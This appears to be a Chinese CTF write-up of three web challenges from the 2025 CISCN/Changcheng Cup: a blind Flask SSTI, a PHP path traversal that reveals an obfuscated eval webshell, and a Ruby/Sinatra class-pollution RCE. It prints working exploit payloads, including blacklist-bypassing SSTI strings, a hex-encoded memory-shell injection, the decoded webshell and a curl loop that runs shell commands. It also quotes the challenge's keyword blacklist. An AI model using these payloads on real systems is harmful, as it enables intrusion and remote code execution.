2025ciscn&长城杯web部分writeup

第二次打国赛,终于不是上次那么坐牢了,另外挺感谢学弟的,取证出了好多道!!!

safe_proxy

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
from flask import Flask, request, render_template_string
import socket
import threading
import html
 
app = Flask(__name__)
 
 
@app.route('/', methods=["GET"])
def source():
    with open(__file__, 'r', encoding='utf-8') as f:
        return '<pre>' + html.escape(f.read()) + '</pre>'
 
 
@app.route('/', methods=["POST"])
def template():
    template_code = request.form.get("code")
    # 安全过滤
    blacklist = ['__', 'import', 'os', 'sys', 'eval', 'subprocess', 'popen', 'system', '\r', '\n']
    for black in blacklist:
        if black in template_code:
            print(black)
            return "Forbidden content detected!"
    result = render_template_string(template_code)
    print(result)
    return 'ok' if result is not None else 'error'
 
 
class HTTPProxyHandler:
    def __init__(self, target_host, target_port):
        self.target_host = target_host
        self.target_port = target_port
 
    def handle_request(self, client_socket):
        try:
            request_data = b""
            while True:
                chunk = client_socket.recv(4096)
                request_data += chunk
                if len(chunk) < 4096:
                    break
 
            if not request_data:
                client_socket.close()
                return
 
            with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as proxy_socket:
                proxy_socket.connect((self.target_host, self.target_port))
                proxy_socket.sendall(request_data)
 
                response_data = b""
                while True:
                    chunk = proxy_socket.recv(4096)
                    if not chunk:
                        break
                    response_data += chunk
 
            header_end = response_data.rfind(b"\r\n\r\n")
            if header_end != -1:
                body = response_data[header_end + 4:]
            else:
                body = response_data
 
            response_body = body
            response = b"HTTP/1.1 200 OK\r\n" \
                       b"Content-Length: " + str(len(response_body)).encode() + b"\r\n" \
                                                                                b"Content-Type: text/html; charset=utf-8\r\n" \
                                                                                b"\r\n" + response_body
 
            client_socket.sendall(response)
        except Exception as e:
            print(f"Proxy Error: {e}")
        finally:
            client_socket.close()
 
 
def start_proxy_server(host, port, target_host, target_port):
    proxy_handler = HTTPProxyHandler(target_host, target_port)
    server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server_socket.bind((host, port))
    server_socket.listen(100)
    print(f"Proxy server is running on {host}:{port} and forwarding to {target_host}:{target_port}...")
 
    try:
        while True:
            client_socket, addr = server_socket.accept()
            print(f"Connection from {addr}")
            thread = threading.Thread(target=proxy_handler.handle_request, args=(client_socket,))
            thread.daemon = True
            thread.start()
    except KeyboardInterrupt:
        print("Shutting down proxy server...")
    finally:
        server_socket.close()
 
 
def run_flask_app():
    app.run(debug=False, host='127.0.0.1', port=5000)
 
 
if __name__ == "__main__":
    proxy_host = "0.0.0.0"
    proxy_port = 5001
    target_host = "127.0.0.1"
    target_port = 5000
 
    # 安全反代,防止针对响应头的攻击
    proxy_thread = threading.Thread(target=start_proxy_server, args=(proxy_host, proxy_port, target_host, target_port))
    proxy_thread.daemon = True
    proxy_thread.start()
 
    print("Starting Flask app...")
    run_flask_app()

无回显 ssti,有安全反代理,不出网,请求头回显也不能用

法 1

利用 flask 框架的 static 目录可以直接读的特点

1
2
3
mkdir staic
ls / > ./static/1.txt
cat /flag> ./static/1.txt

最终的 payload

1
{{lipsum['_''_globals_''_']['_''_builtins_''_']['_''_imp''ort_''_']('o''s')['pop''en']('cat /flag >./static/1.txt').read()}}

法 2

学弟的方法,app.py 也是可以直接写入的

法 3

胡哥的内存马,直接上 payload(16 进制绕过),我当时的老版内存马没有打通,貌似需要使用新版的

1
{{(url_for|attr('_' '_globals_' '_'))['_' '_builtins_' '_']['ev' 'al'](0x7379732e6d6f64756c65735b275f5f6d61696e5f5f275d2e5f5f646963745f5f5b27617070275d2e6265666f72655f726571756573745f66756e63732e73657464656661756c74284e6f6e652c205b5d292e617070656e64286c616d6264613a205f5f696d706f72745f5f28276f7327292e706f70656e285f5f696d706f72745f5f2827666c61736b27292e726571756573742e617267732e6765742827612729292e72656164282929.to_bytes(170,'big'))}}

hello_web

学弟写的 wp:
进入网页,f12 查看到两条注释

1
2
<!-- ../hackme.php -->
<!-- ./tips.php  -->

尝试把 url 中的 ?file=hello.php 改为 ?file=../hackme.php 未果,加了几个 ../ 还是不行。

推测出 php 程序对输入的字符串做了处理,删掉了所有 ../

输入 ?file=..././hackme.php (在 ../ 中再多写一个 ../ 以避免被替换掉)得到如下代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
<?php
highlight_file(__FILE__);
 
$lJbGIY = "eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxME";
$OlWYMv = "zqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrel";
# n1zb/ma5\vt0i28-pxuqy*6lrkdg9_ehcswo4+f37j
$lapUCm = urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
 
$YwzIst = $lapUCm{3} . $lapUCm{6} . $lapUCm{33} . $lapUCm{30};
$OxirhK = $lapUCm{33} . $lapUCm{10} . $lapUCm{24} . $lapUCm{10} . $lapUCm{24};
$YpAUWC = $OxirhK{0} . $lapUCm{18} . $lapUCm{3} . $OxirhK{0} . $OxirhK{1} . $lapUCm{24};
$rVkKjU = $lapUCm{7} . $lapUCm{13};
 
$YwzIst .= $lapUCm{22} . $lapUCm{36} . $lapUCm{29} . $lapUCm{26} . $lapUCm{30} . $lapUCm{32} . $lapUCm{35} . $lapUCm{26} . $lapUCm{30};
 
eval($YwzIst(
    "JHVXY2RhQT0iZVFPTGxDbVRZaFZKVW5SQW9iUFN2anJGeldaeWNIWGZkYXVrcUdnd05wdElCS2lEc3hNRXpxQlprT3V3VWFUS0ZYUmZMZ212Y2hiaXBZZE55QUdzSVdWRVFueGpEUG9IU3RDTUpyZWxtTTlqV0FmeHFuVDJVWWpMS2k5cXcxREZZTkloZ1lSc0RoVVZCd0VYR3ZFN0hNOCtPeD09IjtldmFsKCc/PicuJFl3eklzdCgkT3hpcmhLKCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVKjIpLCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVLCRyVmtLalUpLCRZcEFVV0MoJHVXY2RhQSwwLCRyVmtLalUpKSkpOw=="
));
?>

盲猜下面一坨字符串是 basae64 编码,解码之后得出

1
2
$uWcdaA="eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxMEzqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrelmM9jWAfxqnT2UYjLKi9qw1DFYNIhgYRsDhUVBwEXGvE7HM8+Ox==";
eval('?>'.$YwzIst($OxirhK($YpAUWC($uWcdaA,$rVkKjU*2),$YpAUWC($uWcdaA,$rVkKjU,$rVkKjU),$YpAUWC($uWcdaA,0,$rVkKjU))));

新版 php 不能用花括号访问字符串索引,于是找个旧版 php 跑一下,得到 $OxirhKstrtr$YpAUWCsubstr$rVkKjU 是 52,合理推测 $YwzIstbase64_decode

替换到解码的代码中,得出

1
eval('?>'.base64_decode(strtr(substr($uWcdaA,52*2),substr($uWcdaA,52,52),substr($uWcdaA,0,52))));

?><?php @eval($_POST['cmd_66.99']); ?>

使用 蚁剑 工具,url 输入(题目 url),密码为 cmd[66.99(非法字符串的传参问题,结合 tips.php 的 phpinfo 是 php7.4)。

https://blog.csdn.net/mochu7777777/article/details/115050295

连接之后打开终端发现一直爆 127 错误码,推测有函数被禁用。装载绕过 disabled_functions 的插件,运行。

find / -name flag* 拿到 flag。

ezruby

全场唯一解,胡哥 yyds,直接贴上 wp,我还没有完全消化

按照下文里的办法

https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html

可以任意污染 Class(概率)中的属性

题目要求 RCE,再加上存在 erb 模板渲染,于是找到

https://github.com/sinatra/sinatra/blob/7b50a1bbb5324838908dfaa00ec53ad322673a29/lib/sinatra/base.rb#L903

其中的 Sinatra::Base::settings 绑定到全局的 class 而非 instance 上,刚好满足利用情况

注意这里还需要再在 Base 的子类里找到 JSONMergerApp,settings 才能生效

调试一下能发现,总共获取了两次 data,第一次是 hello,第二次 layout 刚好绕过 h 的黑名单

body 就是模板内容了,直接执行系统命令即可。

1
for i in {1..10000}; do curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"subclasses":{"sample":{"settings":{"templates":{"layout":["<%= `ls -al /; cat /*flag*` %>","111",1]}}}}}}}}}}' http://ip:port/merge; done

若在一分钟内无法成功(概率),则可能需要重启容器继续尝试。